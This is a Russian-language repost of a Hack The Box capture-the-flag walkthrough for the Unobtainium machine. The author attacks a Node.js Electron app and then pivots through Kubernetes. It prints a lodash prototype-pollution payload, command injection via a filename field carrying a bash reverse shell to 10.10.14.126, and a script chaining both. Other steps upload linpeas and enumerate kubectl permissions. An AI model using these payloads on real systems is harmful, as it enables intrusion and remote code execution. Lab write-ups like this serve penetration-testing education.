Категория > Новости > HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»
HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»9-09-2021, 00:02. Автор: Barrington |
Hack The Box. Мы проведем тестирование клиент‑серверного приложения, серверная часть которого написана на Node.js. А затем поработаем с оркестратором Kubernetes и через него захватим флаг рута.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем адрес машины 10.10.10.235 в файл Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скриптаРезультат работы скрипта (продолжение)Результат работы скрипта (окончание) По результатам сканирования имеем восемь открытых портов:
Начнем с осмотра сайта. ![]() Здесь нам дают только скачать какое‑то приложение, что мы и делаем. Скачиваем пакет .deb и разворачиваем, чтобы не устанавливать на локальный хост. Затем находим исполняемый файл и запускаем приложение. mkdir ubo ; cd mkdirdpkg-deb -xvunobtainium_1.0.0_amd64.deb ../opt/unobtainium![]() Изучив приложение, понимаем, что оно имеет клиент‑серверную архитектуру. Здесь есть форма отправки сообщений и возможность смотреть список дел. Список выглядит вот так:
![]() Анализ трафикаИтак, мы узнали, что используется технология Node.js, есть авторизация и разделение привилегий (пункт 1). Поскольку приложение — это клиент, можем предположить, что оно стучится на порт 31337, обнаруженный нами при сканировании. Нам нужно проверить это предположение, а поможет нам в этом Wireshark. Открываем его и запускаем наше приложение снова. Трафик приложения в Wireshark Видим, что приложение работает по HTTP и действительно подключается к порту 31337. ![]() Попробуем вручную использовать функции приложения, чтобы узнать, как именно они работают. Запросим список дел и отправим какое‑нибудь сообщение. ![]() Мы можем скопировать оба запроса и перенести их в Burp Repeater для дальнейшего тестирования. Также для удобства можно переименовать вкладки. PUT / HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 79Accept: application/json, text/jаvascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}POST /todo HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 73Accept: application/json, text/jаvascript, */*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: ru{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}Запросы в Burp RepeaterВ обоих запросах мест для тестирования два: это параметр Ошибка Точка входаВ тексте ошибки видим несколько раскрытых путей к файлам. Так как используется Node.js, запросим важный файл Стартовая страница сайта Код на скриншот не помещается, поэтому приведу его ниже. var root = require("google-cloudstorage-commands");const express = require('express');const { exec } = require("child_process");const bodyParser = require('body-parser');const _ = require('lodash');const app = express();var fs = require('fs');const users =[ {name: 'felamos', password: 'Winter2021'}, {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},];let messages = [];let lastId = 1;function findUser(auth){ return users.find((u) => u.name === auth.name && u.password === auth.password;}app.use(bodyParser.json());app.get('/', (req, res) => { res.send(messages); });app.put('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) { res.status(403).send({ok: false, error: 'Access denied'}); return; } const message = { icon: '__', }; _.merge(message, req.body.message, { id: lastId++, timestamp: Date.now(), userName: user.name, }); messages.push(message); res.send({ok: true});});app.delete('/', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canDelete) { res.status(403).send({ok: false, error: 'Access denied'}); return; } messages = messages.filter((m) => m.id !== req.body.messageId); res.send({ok: true});});app.post('/upload', (req, res) => { const user = findUser(req.body.auth || {}); if (!user || !user.canUpload) { res.status(403).send({ok: false, error: 'Access denied'}); return; } filename = req.body.filename; root.upload("./",filename, true); res.send({ok: true, Uploaded_File: filename});});app.post('/todo', (req, res) => { const user = findUser(req.body.auth || {}); if (!user) {res.status(403).send({ok: false, error: 'Access denied'});return; } filename = req.body.filename;testFolder = "/usr/src/app";fs.readdirSync(testFolder).forEach(file => {if (file.indexOf(filename) > -1) {var buffer = fs.readFileSync(filename).toString();res.send({ok: true, content: buffer});}});});app.listen(3000);console.log('Listening on port 3000...');В самом начале подключаются некоторые библиотеки. Так как это Node.js, мы можем запросить файл ![]() У нас есть следующие зависимости:
Нам известны технологии, поэтому следует поискать готовые эксплоиты, чтобы понять, какие могут быть уязвимости. Делать это лучше всего при помощи Google. Поиск уязвимостей с помощью GoogleПоиск уязвимостей с помощью Google Так мы находим две уязвимости в модулях google-cloudstorage-commands и lodash. Первая может дать нам OS Command injection, то есть, другими словами, удаленное выполнение команд. У нас уже есть уязвимый блок кода (ниже приведены скрины из PoC и кода PoC эксплоита google-cloudstorage-commands ![]() При передаче параметра ![]() Этих свойств у нас нет, но можем их получить. В этом поможет критическая уязвимость в библиотеке lodash. Мы можем использовать атрибут ![]() ![]() При передаче параметра Точка опорыДавай проэксплуатируем это и активируем у себя свойства {"text":{"constructor":{"prototype":{"canDelete":true,"canUpload":true}}}}}Активация привилегийПолучили ответ, что все выполнено без ошибок. Теперь для проверки выполним команду Выполнение команды и запись результата в файл Осталось прочесть содержимое файла легитимным способом. Чтение файла Как можно увидеть, команда успешно выполнена, а вся наша концепция получила подтверждение. Можно выполнить реверс‑шелл. Справка: реверс-шеллОбратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель». В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива. apt install rlwrapВ качестве самого листенера при этом можно использовать широко известный netcat. rlwrap nc -lvp [port]Чтобы быстро восстанавливать соединение в случае его потери, я написал маленький скрипт на Bash, содержащий две команды. Это те же команды, что представлены в запросах выше, только без чтения файла. #!/bin/bashcurl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://unobtainium.htb:31337/curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}'http://unobtainium.htb:31337/upload![]() ПродвижениеТеперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Для этого я обычно использую скрипты PEASS. Справка: скрипты PEASS для LinuxЧто делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате. Чтобы воспользоваться скриптом, его надо сначала загрузить на локальный хост. wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.shТеперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000. python3 -mhttp.serverА теперь с помощью того же wget http://[ip_локального_хоста]:8000/linpeas.shchmod+x linpeas.sh./linpeas.shИз вывода LinPEAS я узнал, что на хосте работает пользовательская задача в cron. Каждую минуту происходит поиск и удаление файла ![]() Kubernetes позволяет управлять кластером контейнеров Linux как единой системой. Kubernetes управляет контейнерами Docker, запускает их на большом количестве хостов, а также обеспечивает совместное размещение и репликацию большого количества контейнеров. Что нам нужно понимать при работе с Kubernetes:
Для работы с кубером нам нужен kubectl, а он удаляется раз в минуту. Скачаем его на локальную машину, а затем загрузим на удаленный хост таким же способом, как и LinPEAS. Я загружаю его под именем Теперь файл удаляться не будет, можем поработать с Kubernetes. Благодаря kubectl нам доступна команда В кластере Kubernetes объекты kubectl auth can-i list secrets![]() К сожалению, мы не можем просмотреть секреты. Следующее, что нужно проверить, — это пространства имен ( kubectl auth can-i list namespaces![]() Мы можем получить пространства имен следующей простой командой. kubectl get namespaces![]() По умолчанию в кластере Kubernetes будет создано пространство имен kubectl auth can-i list secrets -n devkubectl auth can-i list secrets -nkube-system![]() С секретами не получилось, посмотрим на поды. Каждый pod состоит из одного или нескольких контейнеров, хранилища, отдельного IP-адреса и опций, которые определяют, как именно контейнеры должны запускаться. Также pod представляет собой некий запущенный процесс в кластере Kubernetes. Но чаще всего в подах используются контейнеры Docker. Посмотрим, можем ли мы получить поды из пространства kubectl auth can-i list pods -n devkubectl get pods -n dev![]() Давай получим описание пода. Так как это целый контейнер, нам интересна возможность распространения по сети, а из описания сможем узнать адрес. kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n devОписание подаТак, из описания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://172.17.0.8:3000/; echocurl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}'http://172.17.0.8:3000/upload![]() Перейти обратно к новости |